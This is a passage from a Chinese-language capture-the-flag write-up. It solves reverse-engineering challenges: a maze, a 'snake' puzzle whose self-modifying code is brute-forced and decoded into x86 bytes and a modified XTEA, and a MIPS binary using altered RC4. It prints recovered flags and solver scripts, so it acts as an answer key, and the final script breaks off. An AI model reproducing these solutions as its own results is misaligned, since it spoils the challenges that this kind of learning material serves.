151 1 0 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 0 0 1
152 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
153 1 0 1 0 1 1 1 1 1 1 1 0 1 1 1 1 1 0 0 1
154 1 0 1 0 1 4 0 0 0 0 1 0 0 0 0 0 1 0 0 1
155 1 0 1 0 1 0 1 1 1 1 1 0 1 0 1 0 1 0 0 1
156 1 0 1 0 1 0 1 0 0 0 1 0 1 0 1 0 1 0 0 1
157 1 0 1 0 1 0 1 0 1 1 1 0 1 0 1 0 1 1 0 1
158 1 0 0 0 3 0 0 0 1 0 0 0 0 0 0 0 0 0 0 1
159 1 0 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 0 1
160 1 0 0 0 0 0 0 1 0 0 0 0 1 0 0 0 0 0 0 1
161 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1
```

```
1 0 0 0 3 0 0 0 0 0 0 0 0 0 0 4 1 0 0 1
1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 1
1 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1
1 0 1 0 1 1 1 1 1 1 1 0 1 1 1 1 1 1 0 1
1 0 1 0 1 0 0 0 0 0 1 0 0 0 0 0 1 0 0 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 0 0 1
1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
map level 8 aasaaaassssddwwwddddddwwddwwwwaaaassss | 3
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1
1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 1
1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 1
1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 1
1 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
1 0 1 0 1 1 1 0 1 1 1 0 1 1 1 1 1 1 0 1
1 0 0 0 1 0 1 3 0 0 1 0 1 0 0 0 1 0 0 1
1 1 1 1 1 0 0 2 1 1 1 0 1 0 1 0 1 0 0 1
1 0 0 0 0 0 1 0 1 0 0 0 0 0 1 0 1 0 0 1
1 0 1 1 1 1 1 4 1 0 1 1 1 1 1 1 1 0 0 1
1 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1
1 0 1 0 1 1 1 1 1 1 0 1 1 1 1 1 1 1 0 1
1 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 1
1 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 1
1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
1 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 0 1
1 0 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 1
1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
```

md5('212139211325313') = fec2d316d20dbacbe0cdff8fb6ff07b9

最后四个字符是数组的后400*4字节地图显示的影像图为"qwb!"最后的flag是

flag{qwb!_fec2d316d20dbacbe0cdff8fb6ff07b9}

斯内克

爆破路径，由于一开始蛇向右边走，所以第一步是向右，之后由于不能回头，所以可以确定路径，第一天太阴间了，第二天简单多了：

```
maze_o = [
  0xBD, 0xBD, 0xBD, 0xBD, 0xBD, 0xBD, 0xBD, 0xBD, 0xBD, 0xBD,
  0xBD, 0x38, 0x4C, 0xB0, 0x38, 0x6D, 0xEE, 0x3F, 0xC4, 0xB4,
  0xB4, 0x09, 0x6A, 0xF0, 0x38, 0x2C, 0x79, 0xF6, 0x34, 0xE9,
  0x89, 0x38, 0xAC, 0x7F, 0x35, 0xD4, 0xB4, 0xB4, 0x38, 0x6D,
```

```
  0x77, 0xF6, 0xB6, 0x38, 0x6D, 0x78, 0xF6, 0xB6, 0x2B, 0x18,
  0xB4, 0xB4, 0xB4, 0x3B, 0x81, 0x81, 0x81, 0x81, 0xEF, 0x4E,
  0x38, 0x4C, 0x7D, 0xF6, 0x33, 0xD4, 0xB4, 0xB4, 0xB0, 0xE8,
  0xF4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB0, 0xE8, 0xF6, 0x2B, 0x27,
  0xA3, 0x1D, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xC0,
  0xB4, 0xB0, 0xF8, 0x04, 0x38, 0x89, 0xE3, 0xC3, 0xCA, 0x3B,
  0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xC4, 0xB0, 0xF8,
  0x04, 0x38, 0xB3, 0x67, 0xE3, 0x16, 0x3B, 0xF4, 0xB4, 0xB4,
  0xB4, 0x38, 0x4A, 0xC0, 0xD4, 0xB0, 0xF8, 0x04, 0x38, 0xB6,
  0xD3, 0xB6, 0xA9, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A,
  0xC0, 0xE4, 0xB0, 0xF8, 0x04, 0x38, 0x89, 0xD8, 0xC7, 0x33,
  0x3B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xB4, 0x2B,
  0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xB4, 0x38, 0x4C,
  0xED, 0xB5, 0xD4, 0xB4, 0xB4, 0x4C, 0xF4, 0xD4, 0x2C, 0xF8,
  0x85, 0x37, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xC0,
  0xC4, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xC4,
  0x38, 0x4C, 0xED, 0xB5, 0xD4, 0xB4, 0xB4, 0x4C, 0xF4, 0xD4,
  0x2C, 0xF8, 0x85, 0x37, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38,
  0x4A, 0xC0, 0xD4, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A,
  0x50, 0xD4, 0x38, 0x4C, 0xED, 0xB5, 0xD4, 0xB4, 0xB4, 0x4C,
  0xF4, 0xD4, 0x2C, 0xF8, 0x85, 0x37, 0x3B, 0xF4, 0xB4, 0xB4,
  0xB4, 0x38, 0x4A, 0xC0, 0xE4, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4,
  0x38, 0x4A, 0x50, 0xE4, 0x38, 0x4C, 0xED, 0xB5, 0xD4, 0xB4,
  0xB4, 0x4C, 0xF4, 0xD4, 0x2C, 0xF8, 0x85, 0x37, 0xB0, 0xEC,
  0xFE, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0x6F, 0x14,
  0x4C, 0xEC, 0xFE, 0xB4, 0xB4, 0xB4, 0x2F, 0xC0, 0x2C, 0xEC,
  0xFE, 0xB4, 0xB4, 0xB4, 0xCC, 0x6C, 0xFE, 0xB4, 0xB4, 0xB4,
  0xB6, 0x24, 0xCC, 0x72, 0xB4, 0xB4, 0xB4, 0x3B, 0xF4, 0xB4,
  0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xB4, 0x2B, 0xF4, 0xB4, 0xB4,
  0xB4, 0x38, 0x4A, 0x50, 0xC4, 0x4C, 0x79, 0x85, 0x37, 0xD0,
  0xD2, 0xF4, 0x5B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xE1,
  0xC4, 0x4C, 0xF9, 0x05, 0x37, 0xD0, 0x62, 0x04, 0xE3, 0x60,
  0x5B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xE1, 0xC4, 0xE4,
  0x79, 0x05, 0x37, 0x4C, 0xE9, 0xF4, 0xCC, 0xE2, 0xE4, 0x4C,
  0xE1, 0x4C, 0xF9, 0xED, 0x38, 0xF8, 0x4C, 0xE8, 0xF4, 0xF8,
  0xE4, 0xE0, 0xA8, 0x4C, 0xC1, 0xE3, 0x60, 0xE4, 0x79, 0x04,
  0x37, 0x4C, 0xD0, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A,
  0x50, 0xB4, 0x2C, 0xF8, 0x85, 0x37, 0x4C, 0xE8, 0xF6, 0x4C,
  0x69, 0xF4, 0xE4, 0x40, 0x4C, 0xD0, 0x2C, 0xE8, 0xF4, 0x3B,
  0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xC4, 0x2B, 0xF4,
  0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xB4, 0x4C, 0x79, 0x85,
  0x37, 0xD0, 0xD2, 0xF4, 0x5B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38,
  0x4A, 0xE1, 0xB4, 0x4C, 0xF9, 0x05, 0x37, 0xD0, 0x62, 0x04,
  0xE3, 0x60, 0x5B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xE1,
  0xB4, 0xE4, 0x79, 0x05, 0x37, 0x4C, 0xE9, 0xF4, 0xD0, 0x62,
  0x64, 0xCC, 0xE2, 0xE4, 0x4C, 0xE1, 0x4C, 0xF9, 0xED, 0x38,
  0xF8, 0x4C, 0xE8, 0xF4, 0xF8, 0xE4, 0xE0, 0xA8, 0x4C, 0xC1,
```

```
  0xE3, 0x60, 0xE4, 0x79, 0x04, 0x37, 0x4C, 0xD0, 0x2B, 0xF4,
  0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xC4, 0x2C, 0xF8, 0x85,
  0x37, 0x52, 0x54, 0x2F, 0x2F, 0x2F, 0xB0, 0xEC, 0x00, 0xB4,
  0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0x6F, 0x14, 0x4C, 0xEC,
  0x00, 0xB4, 0xB4, 0xB4, 0x2F, 0xC0, 0x2C, 0xEC, 0x00, 0xB4,
  0xB4, 0xB4, 0xCC, 0x6C, 0x00, 0xB4, 0xB4, 0xB4, 0xB6, 0x24,
  0xCC, 0x72, 0xB4, 0xB4, 0xB4, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4,
  0x38, 0x4A, 0xC0, 0xD4, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38,
  0x4A, 0x50, 0xE4, 0x4C, 0x79, 0x85, 0x37, 0xD0, 0xD2, 0xF4,
  0x5B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xE1, 0xE4, 0x4C,
  0xF9, 0x05, 0x37, 0xD0, 0x62, 0x04, 0xE3, 0x60, 0x5B, 0xF4,
  0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xE1, 0xE4, 0xE4, 0x79, 0x05,
  0x37, 0x4C, 0xE9, 0xF4, 0xCC, 0xE2, 0xE4, 0x4C, 0xE1, 0x4C,
  0xF9, 0xED, 0x38, 0xF8, 0x4C, 0xE8, 0xF4, 0xF8, 0xE4, 0xE0,
  0xA8, 0x4C, 0xC1, 0xE3, 0x60, 0xE4, 0x79, 0x04, 0x37, 0x4C,
  0xD0, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xD4,
  0x2C, 0xF8, 0x85, 0x37, 0x4C, 0xE8, 0xF6, 0x4C, 0x69, 0xF4,
  0xE4, 0x40, 0x4C, 0xD0, 0x2C, 0xE8, 0xF4, 0x3B, 0xF4, 0xB4,
  0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xE4, 0x2B, 0xF4, 0xB4, 0xB4,
  0xB4, 0x38, 0x4A, 0x50, 0xD4, 0x4C, 0x79, 0x85, 0x37, 0xD0,
  0xD2, 0xF4, 0x5B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xE1,
  0xD4, 0x4C, 0xF9, 0x05, 0x37, 0xD0, 0x62, 0x04, 0xE3, 0x60,
  0x5B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xE1, 0xD4, 0xE4,
  0x79, 0x05, 0x37, 0x4C, 0xE9, 0xF4, 0xD0, 0x62, 0x64, 0xCC,
  0xE2, 0xE4, 0x4C, 0xE1, 0x4C, 0xF9, 0xED, 0x38, 0xF8, 0x4C,
  0xE8, 0xF4, 0xF8, 0xE4, 0xE0, 0xA8, 0x4C, 0xC1, 0xE3, 0x60,
  0xE4, 0x79, 0x04, 0x37, 0x4C, 0xD0, 0x2B, 0xF4, 0xB4, 0xB4,
  0xB4, 0x38, 0x4A, 0x50, 0xE4, 0x2C, 0xF8, 0x85, 0x37, 0x52,
  0x54, 0x2F, 0x2F, 0x2F, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38,
  0x4A, 0xC0, 0xB4, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A,
  0x50, 0xD4, 0x4C, 0x79, 0x85, 0x37, 0x4C, 0xF8, 0x04, 0x37,
  0xE3, 0xD0, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50,
  0xB4, 0x2C, 0xF8, 0x85, 0x37, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4,
  0x38, 0x4A, 0xC0, 0xC4, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38,
  0x4A, 0x50, 0xE4, 0x4C, 0x79, 0x85, 0x37, 0x4C, 0xF8, 0x04,
  0x37, 0xE3, 0xD0, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A,
  0x50, 0xC4, 0x2C, 0xF8, 0x85, 0x37, 0x3B, 0xF4, 0xB4, 0xB4,
  0xB4, 0x38, 0x4A, 0xC0, 0xE4, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4,
  0x38, 0x4A, 0x50, 0xB4, 0x4C, 0x79, 0x85, 0x37, 0x4C, 0xF8,
  0x04, 0x37, 0xE3, 0xD0, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38,
  0x4A, 0x50, 0xE4, 0x2C, 0xF8, 0x85, 0x37, 0x3B, 0xF4, 0xB4,
  0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xC4, 0x2B, 0xF4, 0xB4, 0xB4,
  0xB4, 0x38, 0x4A, 0x50, 0xD4, 0x4C, 0x79, 0x85, 0x37, 0x4C,
  0xF8, 0x04, 0x37, 0xE3, 0xD0, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4,
  0x38, 0x4A, 0x50, 0xD4, 0x2C, 0xF8, 0x85, 0x37, 0xA0, 0xEC,
  0x42, 0xB4, 0xB4, 0xB4, 0x3D, 0xA0, 0xEC, 0x52, 0xB4, 0xB4,
  0xB4, 0xBE, 0xA0, 0xEC, 0x62, 0xB4, 0xB4, 0xB4, 0x51, 0xA0,
```

```
  0xEC, 0x6F, 0xB4, 0xB4, 0xB4, 0x3D, 0xA0, 0xEC, 0x7F, 0xB4,
  0xB4, 0xB4, 0x5B, 0xA0, 0xEC, 0x12, 0xB4, 0xB4, 0xB4, 0x8D,
  0xA0, 0xEC, 0x22, 0xB4, 0xB4, 0xB4, 0x65, 0xA0, 0xEC, 0x32,
  0xB4, 0xB4, 0xB4, 0xA7, 0xA0, 0xEC, 0xBF, 0xB4, 0xB4, 0xB4,
  0x4D, 0xA0, 0xEC, 0xCF, 0xB4, 0xB4, 0xB4, 0xAC, 0xA0, 0xEC,
  0xDF, 0xB4, 0xB4, 0xB4, 0xF8, 0xA0, 0xEC, 0xEF, 0xB4, 0xB4,
  0xB4, 0x06, 0xA0, 0xEC, 0xFF, 0xB4, 0xB4, 0xB4, 0xE9, 0xA0,
  0xEC, 0x8F, 0xB4, 0xB4, 0xB4, 0x3B, 0xA0, 0xEC, 0x9F, 0xB4,
  0xB4, 0xB4, 0xA3, 0xA0, 0xEC, 0xAF, 0xB4, 0xB4, 0xB4, 0x31,
  0xB0, 0xEC, 0xF5, 0xC4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4,
  0x6F, 0x14, 0x4C, 0xEC, 0xF5, 0xC4, 0xB4, 0xB4, 0x2F, 0xC0,
  0x2C, 0xEC, 0xF5, 0xC4, 0xB4, 0xB4, 0xCC, 0x6C, 0xF5, 0xC4,
  0xB4, 0xB4, 0xB5, 0x68, 0xE6, 0x38, 0xCA, 0xEC, 0xF5, 0xC4,
  0xB4, 0xB4, 0x24, 0x1B, 0xF8, 0x04, 0x37, 0x38, 0xCA, 0x6D,
  0xF5, 0xC4, 0xB4, 0xB4, 0x24, 0x1B, 0x7D, 0x85, 0x42, 0xB4,
  0xB4, 0xB4, 0x63, 0xD0, 0xF7, 0xF4, 0xD3, 0xC0, 0x6F, 0xF4,
  0x6F, 0x00, 0xBB, 0xC4, 0x38, 0x4C, 0x3F, 0xBD, 0xBD, 0xBD,
  0xBD, 0xBD
]

from targets import targets

'''
0 left
1 right
2 up
3 down
'''

from hashlib import md5
from tqdm import tqdm, trange
from copy import deepcopy

def change(d, maze):
    if d == 1:
        # print('R', end = '')
        maze = bytes([(maze[i]+30)%256 for i in range(len(maze))])
    elif d == 2:
        # print('U', end = '')
        maze = bytes([(maze[i]-102)%256 for i in range(len(maze))])
    elif d == 3:
        # print('D', end = '')
        maze = bytes([((maze[i]>>5)|(maze[i]<<3))%256 for i in
range(len(maze))])
    else:
        # print('L', end = '')
        maze = bytes([maze[(i+6)%len(maze)] for i in range(len(maze))])
```

```python
    return maze

px, py = 10, 10
ans = bytes([156, 6, 192, 143, 136, 45, 121, 129, 233, 29, 102, 51, 100, 206, 94, 46])

cur_maze = [((0, 0), bytes(maze_o))]

def do_x(cur_maze, dx):
    if dx == 0:
        return cur_maze
    _, maze = cur_maze
    for i in range(0, max(dx, 0), 100):
        maze = change(3, maze)
    for i in range(0, max(-dx, 0), 100):
        maze = change(2, maze)
    return (1 if dx > 0 else -1, 0), maze

def do_y(cur_maze, dy):
    if dy == 0:
        return cur_maze
    _, maze = cur_maze
    for i in range(0, max(dy, 0), 100):
        maze = change(1, maze)
    for i in range(0, max(-dy, 0), 100):
        maze = change(0, maze)
    return (0, 1 if dy > 0 else -1), maze

def do_maze(cur_maze, dx, dy):
    if dx == 0 and dy == 0:
        return cur_maze
    d, _ = cur_maze

    if dx * d[0] < 0 and (dy, d[1]) == (0, 0):
        print(f'疑似有点太极端了 Last:{d} Current:{(dx, dy)}')
        return [
            do_y(do_x(do_y(cur_maze, 1), dx), -1),
            do_y(do_x(do_y(cur_maze, -1), dx), 1),
        ]
    if dy * d[1] < 0 and (dx, d[0]) == (0, 0):
        print(f'疑似有点太极端了 Last:{d} Current:{(dx, dy)}')
        return [
            do_x(do_y(do_x(cur_maze, 1), dy), -1),
            do_x(do_y(do_x(cur_maze, -1), dy), 1),
        ]

    if dx * d[0] > 0:
```

```
192         return do_y(cur_maze, dy)
193     if dy * d[1] > 0:
194         return do_x(cur_maze, dx)
195     if dx * d[0] < 0:
196         return do_x(do_y(cur_maze, dy), dx)
197     if dy * d[1] < 0:
198         return do_y(do_x(cur_maze, dx), dy)
199     assert dx == 0 or dy == 0
200     return do_y(do_x(cur_maze, dx), dy) # 顺序无关
201     assert False, f'{(dx, dy)}, {d}'
202 
203 
204 maze_list = [((0, 0), maze_o)]
205 targets = targets[:20]
206 try:
207     for i, t in tqdm(enumerate(targets)):
208         # go targets
209         dx = t[0] - px
210         dy = t[1] - py
211         print(f'{i}: ({px}, {py}) => ({t[0]}, {t[1]})')
212         print(f'{len(maze_list) = }')
213         if i == 0:
214             # maze_list = [do_y(do_x(maze_list[0], dx), dy),
    do_x(do_y(maze_list[0], dy), dx)]
215             maze_list = [do_x(maze_list[0], dx)]
216             # maze_list = [do_y(maze_list[0], dy)]
217         else:
218             new_list = []
219             for cur_maze in maze_list:
220                 res = do_maze(cur_maze, dx, dy)
221                 if type(res) is list:
222                     new_list += res
223                 else:
224                     new_list.append(res)
225             maze_list = set(new_list)
226         for d, maze in maze_list:
227             cur = md5(maze).digest()
228             print(f'>{d}: {cur.hex()}')
229             if cur == ans:
230                 print('中了!')
231                 raise StopIteration
232             px, py = t
233     else:
234         print('sb')
235 except:
236     print(maze)
```

得到字节码：

```
b'H\x89L$\x08UWH\x81\xec\x18\x02\x00\x00H\x8dl$ H\x8d|$
\xb9N\x00\x00\x00\xb8\xcc\xcc\xcc\xcc\xf3\xabH\x8b\x8c$8\x02\x00\x00\xc7E\x04\x
00\x00\x00\x00\xc7E$\xb9y7\x9e\xb8\x04\x00\x00\x00Hk\xc0\x00\xc7D\x05HW31c\xb8\
x04\x00\x00\x00Hk\xc0\x01\xc7D\x05H0m3.\xb8\x04\x00\x00\x00Hk\xc0\x02\xc7D\x05H
 2
Q\xb8\x04\x00\x00\x00Hk\xc0\x03\xc7D\x05HWBs8\xb8\x04\x00\x00\x00Hk\xc0\x00\xb9
\x04\x00\x00\x00Hk\xc9\x00H\x8b\x95\x10\x02\x00\x00\x8b\x04\x02\x89D\rx\xb8\x04
\x00\x00\x00Hk\xc0\x01\xb9\x04\x00\x00\x00Hk\xc9\x01H\x8b\x95\x10\x02\x00\x00\x
8b\x04\x02\x89D\rx\xb8\x04\x00\x00\x00Hk\xc0\x02\xb9\x04\x00\x00\x00Hk\xc9\x02H
\x8b\x95\x10\x02\x00\x00\x8b\x04\x02\x89D\rx\xb8\x04\x00\x00\x00Hk\xc0\x03\xb9\
x04\x00\x00\x00Hk\xc9\x03H\x8b\x95\x10\x02\x00\x00\x8b\x04\x02\x89D\rx\xc7\x85\
xa4\x00\x00\x00\x00\x00\x00\x00\xeb\x0e\x8b\x85\xa4\x00\x00\x00\xff\xc0\x89\x85
\xa4\x00\x00\x00\x83\xbd\xa4\x00\x00\x00
\x0f\x83\xdb\x00\x00\x00\xb8\x04\x00\x00\x00Hk\xc0\x00\xb9\x04\x00\x00\x00Hk\xc
9\x01\x8bL\rx\xc1\xe1\x04\xba\x04\x00\x00\x00Hk\xd2\x01\x8bT\x15x\xc1\xea\x053\
xca\xba\x04\x00\x00\x00Hk\xd2\x01\x03L\x15x\x8bU\x04\x83\xe2\x03\x8b\xd2\x8bT\x
95HD\x8bE\x04D\x03\xc2A\x8b\xd03\xca\x03L\x05x\x8b\xc1\xb9\x04\x00\x00\x00Hk\xc
9\x00\x89D\rx\x8bE$\x8bM\x04\x03\xc8\x8b\xc1\x89E\x04\xb8\x04\x00\x00\x00Hk\xc0
\x01\xb9\x04\x00\x00\x00Hk\xc9\x00\x8bL\rx\xc1\xe1\x04\xba\x04\x00\x00\x00Hk\xd
2\x00\x8bT\x15x\xc1\xea\x053\xca\xba\x04\x00\x00\x00Hk\xd2\x00\x03L\x15x\x8bU\x
04\xc1\xea\x0b\x83\xe2\x03\x8b\xd2\x8bT\x95HD\x8bE\x04D\x03\xc2A\x8b\xd03\xca\x
03L\x05x\x8b\xc1\xb9\x04\x00\x00\x00Hk\xc9\x01\x89D\rx\xe9\n\xff\xff\xff\xc7\x8
5\xc4\x00\x00\x00\x00\x00\x00\x00\xeb\x0e\x8b\x85\xc4\x00\x00\x00\xff\xc0\x89\x
85\xc4\x00\x00\x00\x83\xbd\xc4\x00\x00\x00
\x0f\x83\xdb\x00\x00\x00\xb8\x04\x00\x00\x00Hk\xc0\x02\xb9\x04\x00\x00\x00Hk\xc
9\x03\x8bL\rx\xc1\xe1\x04\xba\x04\x00\x00\x00Hk\xd2\x03\x8bT\x15x\xc1\xea\x053\
xca\xba\x04\x00\x00\x00Hk\xd2\x03\x03L\x15x\x8bU\x04\x83\xe2\x03\x8b\xd2\x8bT\x
95HD\x8bE\x04D\x03\xc2A\x8b\xd03\xca\x03L\x05x\x8b\xc1\xb9\x04\x00\x00\x00Hk\xc
9\x02\x89D\rx\x8bE$\x8bM\x04\x03\xc8\x8b\xc1\x89E\x04\xb8\x04\x00\x00\x00Hk\xc0
\x03\xb9\x04\x00\x00\x00Hk\xc9\x02\x8bL\rx\xc1\xe1\x04\xba\x04\x00\x00\x00Hk\xd
2\x02\x8bT\x15x\xc1\xea\x053\xca\xba\x04\x00\x00\x00Hk\xd2\x02\x03L\x15x\x8bU\x
04\xc1\xea\x0b\x83\xe2\x03\x8b\xd2\x8bT\x95HD\x8bE\x04D\x03\xc2A\x8b\xd03\xca\x
03L\x05x\x8b\xc1\xb9\x04\x00\x00\x00Hk\xc9\x03\x89D\rx\xe9\n\xff\xff\xff\xb8\x0
4\x00\x00\x00Hk\xc0\x00\xb9\x04\x00\x00\x00Hk\xc9\x02\x8bL\rx\x8bD\x05x3\xc1\xb
9\x04\x00\x00\x00Hk\xc9\x00\x89D\rx\xb8\x04\x00\x00\x00Hk\xc0\x01\xb9\x04\x00\x
00\x00Hk\xc9\x03\x8bL\rx\x8bD\x05x3\xc1\xb9\x04\x00\x00\x00Hk\xc9\x01\x89D\rx\x
b8\x04\x00\x00\x00Hk\xc0\x03\xb9\x04\x00\x00\x00Hk\xc9\x00\x8bL\rx\x8bD\x05x3\x
c1\xb9\x04\x00\x00\x00Hk\xc9\x03\x89D\rx\xb8\x04\x00\x00\x00Hk\xc0\x01\xb9\x04\
x00\x00\x00Hk\xc9\x02\x8bL\rx\x8bD\x05x3\xc1\xb9\x04\x00\x00\x00Hk\xc9\x02\x89D
\rx\xc6\x85\xe8\x00\x00\x00\x98\xc6\x85\xe9\x00\x00\x00\xa0\xc6\x85\xea\x00\x00
\x00\xd9\xc6\x85\xeb\x00\x00\x00\x98\xc6\x85\xec\x00\x00\x00\xba\xc6\x85\xed\x0
0\x00\x00\x97\xc6\x85\xee\x00\x00\x00\x1b\xc6\x85\xef\x00\x00\x00q\xc6\x85\xf0\
x00\x00\x00\x9b\xc6\x85\xf1\x00\x00\x00\x81\xc6\x85\xf2\x00\x00\x00D\xc6\x85\xf
```

```
3\x00\x00\x00/\xc6\x85\xf4\x00\x00\x00U\xc6\x85\xf5\x00\x00\x00\xb8\xc6\x85\xf6
\x00\x00\x007\xc6\x85\xf7\x00\x00\x00\xdf\xc7\x85\x14\x01\x00\x00\x00\x00\x00\x
00\xeb\x0e\x8b\x85\x14\x01\x00\x00\xff\xc0\x89\x85\x14\x01\x00\x00\x83\xbd\x14\
x01\x00\x00\x10}%Hc\x85\x14\x01\x00\x00\x0f\xbeD\x05xHc\x8d\x14\x01\x00\x00\x0f
\xbe\x8c\r\xe8\x00\x00\x00;\xc1t\x042\xc0\xeb\x04\xeb\xc4\xb0\x01H\x8b\xf8\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90H\x8b\xc7H\x8d\xa5\x
f8\x01\x00\x00_]\xc3'
```

Patch 进 ida 里反汇编之后发现是魔改 xtea

Xtea 解密：

```c
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>


uint8_t key[] = "W31c0m3. 2 QWBs8";
uint8_t v14[16] = {0};

int main() {
    v14[0] = 0x98;
    v14[1] = 0xA0;
    v14[2] = 0xD9;
    v14[3] = 0x98;
    v14[4] = 0xBA;
    v14[5] = 0x97;
    v14[6] = 0x1B;
    v14[7] = 0x71;
    v14[8] = 0x9B;
    v14[9] = 0x81;
    v14[10] = 0x44;
    v14[11] = 0x2F;
    v14[12] = 0x55;
    v14[13] = 0xB8;
    v14[14] = 0x37;
    v14[15] = 0xDF;

    uint32_t sum = 0x9E3779B9 * 64;

    uint32_t v0 = *(uint32_t*)(v14 + 0);
    uint32_t v1 = *(uint32_t*)(v14 + 4);
    uint32_t v2 = *(uint32_t*)(v14 + 8);
    uint32_t v3 = *(uint32_t*)(v14 + 12);

    v2 ^= v1;
```

```
    v3 ^= v0;
    v1 ^= v3;
    v0 ^= v2;

    uint32_t* k = (uint32_t*)key;

    for (int i = 0; i < 32; i++) {
                v3 -= (((v2 << 4) ^ (v2 >> 5)) + v2) ^ (sum + k[(sum >> 11) &
3]);
                sum -= 0x9E3779B9;
                v2 -= (((v3 << 4) ^ (v3 >> 5)) + v3) ^ (sum + k[sum & 3]);
        }
    for (int i = 0; i < 32; i++) {
                v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + k[(sum >> 11) &
3]);
                sum -= 0x9E3779B9;
                v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + k[sum & 3]);

        }
    *(uint32_t*)(v14 + 0) = v0;
    *(uint32_t*)(v14 + 4) = v1;
    *(uint32_t*)(v14 + 8) = v2;
    *(uint32_t*)(v14 + 12) = v3;

    return 0;
}
```

mips

Emu 动了手脚

如果用 qemu-mips 执行的话，flag 是对的。。。

魔改 qemu ，得对着看一下

盯着看了很久，灵机一动，在 emu 里搜 0x23000 找到了

去除一些花指令

魔改 RC4 ， swap ，xor 10

```
import struct

data =
"C4000000EE0000003C000000BB000000E7000000FD0000006700000001D000000F8000000970000
00680000009D0000000B0000007F000000C700000080000000DF000000F90000004B000000A0000
0004600000091000000000000000000000"
data = bytes.fromhex(data)
```

```
5
6  data = struct.unpack("<24I", data)[:22]
7
8  key = b'6105t3'
9  deadbeef = [0xDE, 0xAD, 0xBE, 0xEF]
10
11 def RC4_GenBox(box, key):
12     for i in range(256):
13         box[i] = i
14     i = 0
15     for j in range(256):
16         i = (box[j] + i + key[j % len(key)]) & 0xff
17         tmp = box[j]
18         box[j] = box[i]
19         box[i] = tmp
20
21 def RC4_GenStream(box, stream):
22     k = 0
23     j = 0
24     for i in range(len(stream)):
25         k = k + 1
26         j = (box[k] + j) & 0xff
27         tmp = box[k]
28         box[k] = box[j]
29         box[j] = tmp
30         stream[i] = box[(box[k] + box[j]) & 0xFF]
31
32 def RC4_Encrypt(inp, stream, cip):
33     for i in range(len(stream)):
